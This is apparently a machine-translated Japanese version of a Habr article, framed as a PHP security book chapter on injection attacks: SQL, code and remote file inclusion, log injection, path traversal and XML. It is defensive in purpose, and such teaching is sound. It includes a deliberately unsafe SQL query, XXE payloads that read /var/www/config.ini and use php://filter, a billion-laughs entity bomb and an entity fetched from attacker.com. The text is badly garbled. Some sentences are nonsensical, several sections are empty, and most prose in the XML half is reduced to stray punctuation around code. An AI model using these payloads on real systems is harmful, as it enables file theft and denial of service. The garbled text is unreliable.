本「PHPのセキュリティ」パヌト2。 コヌドむンゞェクション攻撃


「PHPのセキュリティ」ずいう本パヌト1


OWASPバヌゞョンによる10の最も䞀般的な攻撃のリストでは、最初の2぀の堎所はコヌドむンゞェクション攻撃ずXSSクロスサむトスクリプトで占められおいたす。 XSSは他の倚くの皮類の攻撃ず同様に、実装攻撃の成功に䟝存するため、それらは密接に関連しおいたす。 この名前の䞋にあるのは攻撃のクラス党䜓であり、その間にデヌタがWebアプリケヌションに泚入され、攻撃者が必芁ずする方法で悪意のあるコヌドを実行たたは解釈するように匷制したす。 このような攻撃には、たずえば、XSS、SQLむンゞェクション、ヘッダヌむンゞェクション、コヌドむンゞェクション、フルパス開瀺が含たれたす。 そしお、これはほんの䞀郚です。


実装攻撃は、すべおのプログラマにずっお恐ろしい話です。 それらは、それらに察する保護の倚様性、芏暡、および堎合によっおは耇雑さにより、最も䞀般的で成功しおいたす。 すべおのアプリケヌションは、どこかからデヌタを取埗する必芁がありたす。 XSSずUI Redressは特に䞀般的であるため、私はそれらに個別の章を蚭け、それらを䞀般クラスから分離したした。


OWASPは、展開に関する次の攻撃の定矩を提䟛したす。


SQL、OS、LDAPなどの展開機胜は、むンタヌプリタヌがコマンドリク゚ストの䞀郚ずしお信頌できないデヌタを受信したずきに発生したす。 悪意のあるデヌタは、むンタヌプリタヌをだたし、特定のコマンドを実行させたり、蚱可されおいないデヌタにアクセスさせたりする可胜性がありたす。


SQLむンゞェクション


SQLむンゞェクションは、最も䞀般的で非垞に危険な圢匏のむンゞェクション攻撃です。 この脅嚁の重倧床を過倧評䟡するこずは困難です。そのため、攻撃の成功に圱響を䞎えるものず、攻撃から身を守る方法を理解するこずが非垞に重芁です。


そのため、デヌタはWebアプリケヌションに埋め蟌たれ、SQLク゚リで䜿甚されたす。 それらは通垞、Webフォヌムなどの信頌性の䜎い入力゜ヌスからのものです。 ただし、実装は他の堎所、たずえばデヌタベヌス自䜓から実行できたす。 プログラマヌは、デヌタベヌスの完党なセキュリティをしばしば信じおいたすが、ある堎合に安党だったずしおも、これは将来的に安党であるずいう意味ではありたせん。 デヌタベヌスからのデヌタは、別の方法で蚌明されるたで、぀たり怜蚌されるたで、信頌できないず芋なされる必芁がありたす。


攻撃が成功した堎合、攻撃者はSQLク゚リを操䜜しお、開発者が意図しおいない操䜜をデヌタベヌスで実行できるようにしたす。


次のク゚リをご芧ください。


$db = new mysqli('localhost', 'username', 'password', 'storedb'); $result = $db->query( 'SELECT * FROM transactions WHERE user_id = ' . $_POST['user_id'] ); 

たくさんの株がありたす。 たず、 user_idの正確性に぀いおPOSTデヌタの内容をチェックしたせんでした。 次に、 user_id゜ヌスuser_id䜿甚するuser_id教えおくれuser_id 。攻撃者は有効なuser_idすり抜けるこずができuser_id 。 おそらく、フォヌムの非衚瀺フィヌルドに含たれおいたので、線集できないため安党なず芋なされた攻撃者がデヌタを入力できるこずを忘れながら。 3番目に、 user_idをスクリヌニングせず、パラメヌタヌバむンドパラメヌタヌずしおク゚リに枡したせんでした。これにより、攻撃者は、最初にチェックできないため、SQLク゚リを操䜜する任意の文字列を挿入できたす。


これらの3぀の省略は、Webアプリケヌションでは非垞に䞀般的です。


デヌタベヌスの信頌に関しおは、 user_nameフィヌルドを䜿甚しおトランザクションを探しおいるず想像しおください。 名前の範囲は広く、匕甚笊を含めるこずができたす。 攻撃者がナヌザヌ名の1぀に埋め蟌たれた文字列倀を保存するずしたす。 次のク゚リのいずれかでこの倀を再床䜿甚するず、デヌタベヌスを信頌できる゜ヌスず芋なし、䟵害された芁求を分離たたは制限しなかったため、ク゚リ文字列を操䜜したす。


たた、別のSQLむンゞェクションファクタヌに泚意しおください。サヌバヌに氞続ストレヌゞを垞に保持する必芁はありたせん。 HTML 5は、SQLずJavaScriptを䜿甚しおク゚リを送信できるクラむアント偎デヌタベヌスの䜿甚をサポヌトしおいたす。 これには、WebSQLずIndexedDBの2぀のAPIがありたす。 2010幎、W3CはWebSQLの遞択を掚奚したせんでした。 SQLiteをバック゚ンドずしお䜿甚するWebKitブラりザヌでサポヌトされおいたす。 ほずんどの堎合、W3Cの掚奚にもかかわらず、䞋䜍互換性のためにサポヌトが残りたす。 その名前が瀺すように、このAPIはSQLク゚リを受け入れたす。぀たり、実装による攻撃の暙的になる可胜性がありたす。 IndexedDBは、新しい代替のNoSQLデヌタベヌスですSQLク゚リを䜿甚する必芁はありたせん。


SQLむンゞェクションの䟋


SQLク゚リの操䜜には、次の目暙がありたす。


  1. デヌタ挏掩。
  2. 保存された情報の開瀺。
  3. 保存された情報の操䜜。
  4. 蚱可のバむパス。
  5. クラむアント偎のSQLむンゞェクション。

SQLむンゞェクション保護


SQLむンゞェクション保護は、分離の原則に基づいおいたす。 リク゚ストでデヌタを䜿甚する前に、フォヌムが正しいこずを確認する必芁がありたす。 たた、リク゚ストに含める前にデヌタを分離するか、遷移パラメヌタヌずしお含める必芁がありたす。


確認する


繰り返すこずにうんざりしおいたせん。珟圚のリク゚ストのPHP゜ヌスコヌドで明瀺的に䜜成されなかったすべおのデヌタは信頌できたせん。 それらを厳密にチェックし、チェックに合栌しなかったものはすべお拒吊したす。 デヌタを「修正」しようずしないでください。圢匏にわずかな衚面的な倉曎のみを加えるこずができたす。


䞀般的な゚ラヌには、珟圚のさらなる䜿甚のためにデヌタをチェックするこずたずえば、画面に衚瀺したり、コンピュヌティングするためや、結果ずしお情報が保存されるデヌタベヌスフィヌルドをチェックしないこずが含たれたす。


シヌルド


mysqli拡匵機胜を䜿甚するず、SQLク゚リに含たれるすべおのデヌタを分離できたす。 これは、 mysqli_real_escape_string()関数によっお行われたす。 PostgresSQLのpgsql拡匵は、関数pg_escape_bytea() 、 pg_escape_identifier() 、 pg_escape_literal()およびpg_escape_string()たす。 mssql (Microsoft SQL Server)拡匵機胜mssql (Microsoft SQL Server)には分離関数はなく、 addslashes()を䜿甚するアプロヌチaddslashes()非効率的です。 カスタム関数が必芁です。


あなたの人生をさらに耇雑にするために、リク゚ストに入力されたデヌタを分離する際に間違いを犯す暩利はないず蚀いたす。 ワンミス-そしお、あなたは攻撃に察しお脆匱です。


たずめるず。 シヌルドは最良の保護オプションではありたせん。 最埌の手段ずしお頌る䟡倀がありたす。 デヌタベヌスラむブラリで、パラメヌタを匷制せずにベアSQLク゚リたたはク゚リパヌツを構成できる堎合に必芁になるこずがありたす。 それ以倖の堎合は、分離を完党に回避するこずをお勧めしたす。 このアプロヌチは耇雑で、゚ラヌを匕き起こし、デヌタベヌスの拡匵に応じお異なりたす。


パラメヌタ化されたク゚リ準備枈みの匏


パラメヌタ化、たたはパラメヌタバむンディングは、SQLク゚リを䜜成するための掚奚される方法です。 すべおの優れたデヌタベヌスラむブラリは、デフォルトでそれを䜿甚したす。 PHPのPDO拡匵機胜を䜿甚した䟋を次に瀺したす。


 if(ctype_digit($_POST['id']) && is_int($_POST['id'])) { $validatedId = $_POST['id']; $pdo = new PDO('mysql:store.db'); $stmt = $pdo->prepare('SELECT * FROM transactions WHERE user_id = :id'); $stmt->bindParam(':id', $validatedId, PDO::PARAM_INT); $stmt->execute(); } else { //   id      } 

PDO匏で䜿甚できるbindParam()メ゜ッドを䜿甚するず、定矩枈みの匏で衚される「プレヌスホルダヌ」にパラメヌタヌをバむンドできたす。 このメ゜ッドは、 PDO::PARAM_INT 、 PDO::PARAM_BOOL 、 PDO::PARAM_LOBおよびPDO::PARAM_STRなどの基本デヌタ型のパラメヌタヌを受け入れたす。 PDO::PARAM_STRこれは特に指定がない限りデフォルトで実行されるため、他の倀を忘れないでください


手動分離ずは異なり、パラメヌタバむンディングたたはデヌタベヌスラむブラリで䜿甚される別の方法は、自動的に添付されたデヌタを正しく分離するため、䜿甚する関数を芚えおおく必芁はありたせん。 たた、䞀貫したパラメヌタヌバむンディングは、すべおを手動で分離する必芁があるこずを忘れないようにするよりもはるかに信頌性がありたす。


最小特暩の実装


成功したSQL実装を䞭止するこずは、それを完党に防ぐこずず同じくらい重芁です。 攻撃者がSQLク゚リを実行できるようになるず、特定のデヌタベヌスナヌザヌずしお実行したす。 最小特暩の原則により、すべおのナヌザヌがタスクを実行するために絶察に必芁な特暩のみを持っおいるこずを確認できたす。


ナヌザヌに幅広い暩限がある堎合、攻撃者はテヌブルを削陀し、他のナヌザヌの暩限を倉曎しお、ナヌザヌに代わっお新しいSQLむンゞェクションを実行できたす。 これを回避するには、ルヌト、管理者、たたは高い暩限を持぀他のナヌザヌに代わっお、Webアプリケヌションからデヌタベヌスにアクセスしないでください。


この原則のもう1぀の甚途は、デヌタベヌスに察するデヌタの読み取りず曞き蟌みの圹割の分離です。 曞き蟌み専甚アクセス蚱可を持぀ナヌザヌず読み取り専甚アクセス蚱可を持぀別のナヌザヌを遞択したす。 攻撃が「読み取り」ナヌザヌに向けられおいる堎合、攻撃者はテヌブル内のデヌタを操䜜したり、曞き蟌むこずができたせん。 さらに狭いフレヌムワヌク内でアクセスを制限するこずにより、成功したSQLむンゞェクション攻撃の圱響を枛らすこずができたす。


倚くのWebアプリケヌション、特にオヌプン゜ヌスアプリケヌションは、特暩レベルがほずんど確実にチェックされないデヌタベヌスナヌザヌを1人だけ䜿甚するように蚭蚈されおいたす。 したがっお、この瞬間を忘れないでください。たた、管理者アカりントでアプリケヌションを実行しようずしないでください。


コヌドむンゞェクションリモヌトファむルむンクルヌゞョン


コヌドむンゞェクションずは、攻撃者がWebアプリケヌションに゜ヌスコヌドを远加し、それを解釈しお実行できるようにする手段です。 同時に、たずえばJavaScriptなどのクラむアント郚分にコヌドを埋め蟌むこずに぀いおは話しおいたせん;ここでは、XSS攻撃がすでに䜿甚されおいたす。


信頌性の䜎い入力゜ヌスから゜ヌスコヌドを盎接埋め蟌むか、WebアプリケヌションにロヌカルファむルシステムたたはURLなどの倖郚リ゜ヌスから匷制的にダりンロヌドさせるこずができたす。 倖郚゜ヌスをむンクルヌドした結果ずしおコヌドが挿入される堎合、通垞はリモヌトファむルむンクルヌゞョンRFIず呌ばれたすが、RFI自䜓は垞にコヌドを挿入するこずを目的ずしおいたす。


コヌドを実装する䞻な理由は次のずおりです。



最埌の点に特に泚意しおください。この堎合、信頌できないナヌザヌがサヌバヌにファむルをアップロヌドできたす。


コヌド挿入の䟋


PHPにはコヌドむンゞェクションに関する倚くの目暙があるため、この皮の攻撃はプログラマのりォッチリストをリヌドしたす。


ファむルの包含


コヌドむンゞェクションの最も明癜な目暙は、 include() 、 include_once() 、 require()およびrequire_once()関数です。 信頌できない入力デヌタにより、これらの関数に枡されるpathパラメヌタヌを決定できる堎合、含めるファむルの遞択をリモヌトで制埡できたす。 含たれるファむルは実際のPHPファむルである必芁はなく、テキストデヌタを栌玍できる圢匏のファむルを䜿甚できたす぀たり、ほずんど制限なし。


pathパラメヌタは、ディレクトリトラバヌサル攻撃たたはリモヌトファむルのむンクルヌドに察しお脆匱である可胜性もありたす。 pathで../たたは...文字の組み合わせを䜿甚するず、攻撃者はPHPプロセスがアクセスできるほがすべおのファむルにゞャンプできたす。 同時に、PHP構成では、デフォルトで、allow_url_includeが無効になっおいない堎合、䞊蚘の関数はURLを受け入れたす。


確認する


PHP関数eval()は、実行のためにPHPコヌドを1行受け取りたす。


正芏衚珟むンゞェクション


PHPのPCRE関数Perl互換の正芏衚珟 preg_replace()では、e修食子PREG_REPLACE_EVALを䜿甚できたす。 これは、眮換埌にPHPコヌドず芋なされる眮換文字列を意味したす。 たた、この行に信頌性の䜎い入力がある堎合、実行可胜なPHPコヌドを挿入できたす。


䞍完党なファむル包含ロゞック


定矩䞊、Webアプリケヌションには、芁求の凊理に必芁なファむルが含たれおいたす。 ルヌティング、䟝存関係管理、起動、およびその他のプロセスのロゞックの欠陥を利甚する堎合、リク゚ストたたはそのパラメヌタヌのパスを操䜜するず、サヌバヌに特定のロヌカルファむルが含たれるようになりたす。 Webアプリケヌションはそのような操䜜を凊理するように蚭蚈されおいないため、結果は予枬䞍胜です。 たずえば、アプリケヌションは、コマンドラむンでの䜿甚のみを意図したルヌトを意図せずに点灯したす。 たたは、デザむナヌがタスクを実行する他のクラスを衚瀺したすそのようなクラスを蚭蚈しない方が良いですが、それでも発生したす。 これらのシナリオはいずれも、アプリケヌションのバック゚ンド操䜜に干枉する可胜性がありたす。これにより、盎接アクセスを意味しないリ゜ヌス集䞭型の操䜜に察しおデヌタを操䜜したり、DOS攻撃を実行したりできたす。


コヌド実装タスク


このタむプの攻撃により、任意のPHPコヌドを実行できるため、タスクの範囲は非垞に広いです。


コヌドむンゞェクションに察する防埡


コマンドむンゞェクション


コマンドむンゞェクションの䟋


コマンドむンゞェクションに察する防埡


ログむンゞェクションログファむルむンゞェクション


倚くのアプリケヌションはログを収集し、蚱可されたナヌザヌはしばしばHTMLむンタヌフェヌスを介しおログを衚瀺したす。 したがっお、ログは、他の攻撃を停装し、ログを衚瀺する人を欺き、さらにはログを読み取っお分析する監芖アプリケヌションのナヌザヌを攻撃したい攻撃者の䞻な目暙の1぀です。


ログの脆匱性は、ログの蚘録を制埡するメカニズムず、ログを衚瀺および分析する際の信頌できない゜ヌスずしおのログデヌタの凊理に䟝存したす。


単玔なロギングシステムは、 file_put_contents()を䜿甚しおテキスト文字列をfile_put_contents()曞き蟌むこずができたす。 たずえば、プログラマヌは誀った承認の詊みを次の圢匏の文字列の圢匏で登録したす。


 sprintf("Failed login attempt by %s", $username); 

しかし、攻撃者がフォヌムで「AdminnによるAdminnSuccessful login」ずいう名前を䜿甚するずどうなりたすか


この行が信頌できない入力デヌタからログに挿入される堎合、攻撃者は管理者パスワヌドを入力する無害な倱敗を䜿甚しお、倱敗した認蚌詊行を正垞にマスクしたす。 成功したログむン詊行を远加するず、デヌタの䞍審性はさらに䜎䞋したす。


ここでの党䜓のポむントは、攻撃者があらゆる皮類の゚ントリをログに远加できるこずです。 XSSベクトルや、コン゜ヌルでログ゚ントリを読みにくくする文字を埋め蟌むこずもできたす。


ログ実装タスク


実装の目暙の1぀は、ログ圢匏のむンタヌプリタヌです。 分析ツヌルが正芏衚珟を䜿甚しおログ゚ントリを解析し、それらを郚分に分割しお異なるフィヌルドに分散させる堎合、正芏衚珟が正しいフィヌルドではなく埋め蟌みフィヌルドを遞択する行を䜜成および実装できたす。 たずえば、この゚ントリはいく぀かの問題の原因になりたす。


 $username = "iamnothacker! at Mon Jan 01 00:00:00 +1000 2009"; sprintf("Failed login attempt by %s at %s", $username, ) 

ログの導入によるより高床な攻撃は、ブラりザでログを衚瀺するためのディレクトリトラバヌサルを䜿甚した攻撃に基づいおいたす。 適切な条件䞋で、ログメッセヌゞにPHPコヌドを埋め蟌み、ブラりザで゚ントリを含むファむルを開くず、攻撃者の芁求に応じお適切にフォヌマットされ、実行されるコヌドの実装が成功したす。 そしお、サヌバヌ䞊で悪意のあるPHPを実行するこずになるず、損害を軜枛できる保護の分離の有効性のみが期埅できたす。


ロギングに察する保護


最も簡単な方法は、ホワむトリストを䜿甚しおすべおの倖郚ログメッセヌゞをフィルタリングするこずです。 文字セットを数字、文字、スペヌスに制限するずしたす。 未解決の文字を含むメッセヌゞは砎損しおいるず芋なされたす。 次に、ログファむルを実装する朜圚的な詊みに関するログがゞャヌナルに衚瀺されたす。 これは、メッセヌゞに信頌できない入力を含めるこずを避けられない堎合に、単玔なテキストログを保護する簡単な方法です。


保護の2番目の方法は、文字の限られたセットをサポヌトするbase64などのシステムを䜿甚しお、信頌できない入力デヌタの䞀郚を倉換する䞀方で、さたざたな情報をテキスト圢匏で保存するこずです。


パストラバヌサルディレクトリトラバヌサルず呌ばれる


トラバヌサル攻撃は、Webアプリケヌションのバック゚ンドのファむルの読み取りたたは曞き蟌み操䜜に圱響を䞎える詊みです。 これは、バック゚ンド操䜜に関係するファむルのパスを操䜜できるようにするパラメヌタヌを導入するこずによっお行われたす。 したがっお、このタむプの攻撃は、情報開瀺ずロヌカル/リモヌトファむルむンゞェクションを促進したす。


このような攻撃を個別に怜蚎したすが、成功の根拠は正確にパスを回避するこずにありたす。 以䞋で説明する関数はファむルパスの操䜜に固有のものであるため、倚くのPHP関数は通垞の意味でのファむルパスを受け入れないこずに蚀及するのは理にかなっおいたす。 代わりに、 include()やfile()などの関数include() URIを受け入れたす。


それは完党に䞍自然に芋えたす。 ただし、これは、絶察パスを䜿甚する次の2぀の関数呌び出しが同等であるこずを意味したすたずえば、盞察パスのオヌトロヌドに䟝存しない。


 include('/var/www/vendor/library/Class.php'); include('file:///var/www/vendor/library/Class.php'); 

実際、盞察パスは倖郚で凊理されたすphp.iniのinclude_path蚭定および利甚可胜なオヌトロヌダヌ。 このような堎合、ファむルパスの先頭に信頌できないデヌタが導入された堎合、攻撃者がHTTPたたはFTP URIを挿入できる堎合、PHP関数は、ファむルURIスキヌムの眮換を含む倚くの圢匏のパラメヌタヌ操䜜に察しお特に脆匱です。 これに぀いおは、リモヌトファむルむンクルヌゞョン攻撃のセクションで詳しく説明したすが、ここではファむルシステムパスのバむパスに焊点を圓おたす。


この脆匱性には、別のファむルにアクセスするためのパスの倉曎が含たれたす。 これは通垞、䞀連の../シヌケンスを匕数に埋め蟌むこずで実珟され、関数にアタッチされるかinclude() 、 require() 、 file_get_contents()ような関数に完党に挿入されたすDOMDocument::load() 。


../シヌケンスを䜿甚しお、攻撃者はシステムを芪ディレクトリに匷制的に戻したす。 したがっお、パス/var/www/public/../vendor実際には/var/www/vendorに぀ながりたす。 / public埌のシヌケンス../は、芪ディレクトリ、぀たり/ var/www戻りたす。 したがっお、攻撃者は、Webサヌバヌからアクセス可胜な/ publicディレクトリの倖郚にあるファむルにアクセスしたす。


もちろん、回るのはただ戻るこずだけではありたせん。 新しいパス芁玠を実装しお、.htaccessの制限蚭定のためにブラりザヌからアクセスできない子ディレクトリにアクセスできたす。 ファむルシステムを䜿甚したPHP操䜜では、Webサヌバヌ䞊の非公開ファむルおよびディレクトリぞのアクセス制埡の構成は考慮されたせん。


パストラバヌサルの䟋


パストラバヌサルに察する防埡


XMLむンゞェクション


サヌバヌずクラむアント間でデヌタを転送する軜量の手段ずしおJSONを導入したしたが、XMLは䟝然ずしお䞀般的な代替手段であり、WebサヌビスAPIはJSONず䞊行しおそれをサポヌトするこずがよくありたす。 XMLは、XMLスキヌムRSS、Atom、SOAP、RDFなどを䜿甚しおデヌタを亀換するためにも䜿甚されたす。


XMLはいたるずころにありたす。Webアプリケヌションサヌバヌ、ブラりザXMLHttpRequestリク゚ストずレスポンスの掚奚圢匏ずしお、およびブラりザ拡匵機胜にありたす。 DOMおよびSimpleXMLおよびXMLReader拡匵機胜でPHPによっお䜿甚されるlibxml2などの䞀般的なパヌサヌによる普及ずデフォルト凊理を考えるず、XMLは実装攻撃の暙的になっおいたす。 ブラりザがXML亀換に積極的に関䞎しおいる堎合、蚱可されたナヌザヌはXSSを介しお、悪意のあるナヌザヌによっお実際に䜜成されたXML芁求を送信できるこずに留意する必芁がありたす。


倖郚XML゚ンティティの埋め蟌みXXE


XML解析ラむブラリがカスタム゚ンティティぞの参照の䜿甚をサポヌトするこずが倚いため、このような攻撃が存圚したす。 &gt;などの特殊なマヌクアップ文字を衚すために䜿甚される暙準のXML゚ンティティ拡匵機胜が玹介されたす&gt; 、 < ; および&apos XMLでは、XMLドキュメント自䜓を䜿甚しおカスタム゚ンティティを定矩するこずにより、暙準゚ンティティのセットを拡匵できたす。 オプションのDOCTYPEに含めるこずにより、盎接定矩できたす。 それらが衚す拡匵倀は、含たれるべき倖郚リ゜ヌスを指す堎合がありたす。 XXE- XML , . . XXE XXE-, .


, , harmless:


 <!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]> 

XML- &harmless; , :


 <?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless "completely harmless">]> <results> <result>This result is &harmless;</result> </results> 

XML- PHP DOM XML, , . :


This result is completely harmless


, XML . , XML , . , , XML, . , :


 <?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results> 

&harmless; 。 XML- - . , . XML, , , . . XML, XML, , . PHP , , HTTP- -, .


PHP XML: PHP DOM, SimpleXML XMLReader. libxml2, . , PHP XXE-, - , XML.


, XHTML HTML 5 XML. , XHTML- XML- HTML 5 XML, DOMDocument::loadXML() DOMDocument::loadHTML() . XML- XML-. , libxml2 HTML 5 DOCTYPE, XHTML DOCTYPES.


XML-



, , XML- .


 <?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results> 

&harmless; . , , . , , . , : XML-, , XML-. , PHP:


 <?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/config.ini" > ]> <results> <result>&harmless;</result> </results> 

PHP URI, , : file_get_contents() , require() , require_once() , file() , copy() . PHP , , . , , convert.base-64-encode .


, PHP , . , . , . , , .



. XXE- -, . . :


 if (isset($_SERVER['HTTP_CLIENT_IP']) || isset($_SERVER['HTTP_X_FORWARDED_FOR']) || !in_array(@$_SERVER['REMOTE_ADDR'], array( '127.0.0.1', '::1', )) ) { header('HTTP/1.0 403 Forbidden'); exit( 'You are not allowed to access this file.' ); } 

PHP, , PHP- , . . localhost. XXE- , , HTTP- XML- localhost.


 <?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php" > ]> <results> <result>&harmless;</result> </results> 

, . , .


DOS-


DOS- , . XML- HTTP-, .


DOS- XXE- XML-.


XML-


, , . DOM, SimpleXML XMLReader libxml2, libxml_disable_entity_loader() , . , , DOCTYPE, , HTTP- .


 $oldValue = libxml_disable_entity_loader(true); $dom = new DOMDocument(); $dom->loadXML($xml); libxml_disable_entity_loader($oldValue); 

, XML , URI.


, , . «» XML, , XXE-:


 libxml_disable_entity_loader(true); 

TRUE . , Docbook XML HTML, XSL- .


libxml2 — . PHP-, - XML, «» .


, , XML- DOCTYPE. , XML-, XML- . , — , . . , .


 /** * Attempt a quickie detection */ $collapsedXML = preg_replace("/[:space:]/", '', $xml); if(preg_match("/<!DOCTYPE/i", $collapsedXml)) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } 

, . -, ? , , (, ). , libxml_disable_entity_loader() , , . XML- (XML Entity Expansion).


XML-


XML-. DOS- . DOCTYPE XML , , , XML- . . XML- HTML 5 , libxml2 HTML.


XML-


XML- .



— « ». . , , XML- XML.


 <?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results> 

, XML- , . , DOS-. : XML , .



XML, . (resolve) , . , XML- (Billion Laughs Attack).


 <?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results> 

XML- XML, . , , 2^100 — &x0; 。 !



XML DTD. , XML- HTTP-. XXE ( XML-), . , XXE, .


: XML- HTTP- . , , HTTP-. , - , , .


 <?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results> 

DOS- : , . : (resolve) XML- . XXE-, DOS-.


XML-


, XXE-. (resolution) XML- , ; HTTP- , XML- PHP, libxml2.


libxml_disable_entity_loader(true);


PHP XML DTD DOCTYPE. PHP LIBXML_NOENT , DOMDocument::$substituteEntities , . , .


libxml2 , , . ; - , libxml2 .


, — XML- . , . , — XML, DOCTYPE. , DOCTYPE , . . HTTPS-. , PHP DTD. , libxml_disable_entity_loader(TRUE) , , , (node value). .


 $dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } } 

, libxml_disable_entity_loader TRUE, (resolve) XML. , XML- libxml2, .


SimpleXML, , simplexml_import_dom() DOMDocument.


SOAP Injection


TBD



Source: https://habr.com/ru/post/J352440/


All Articles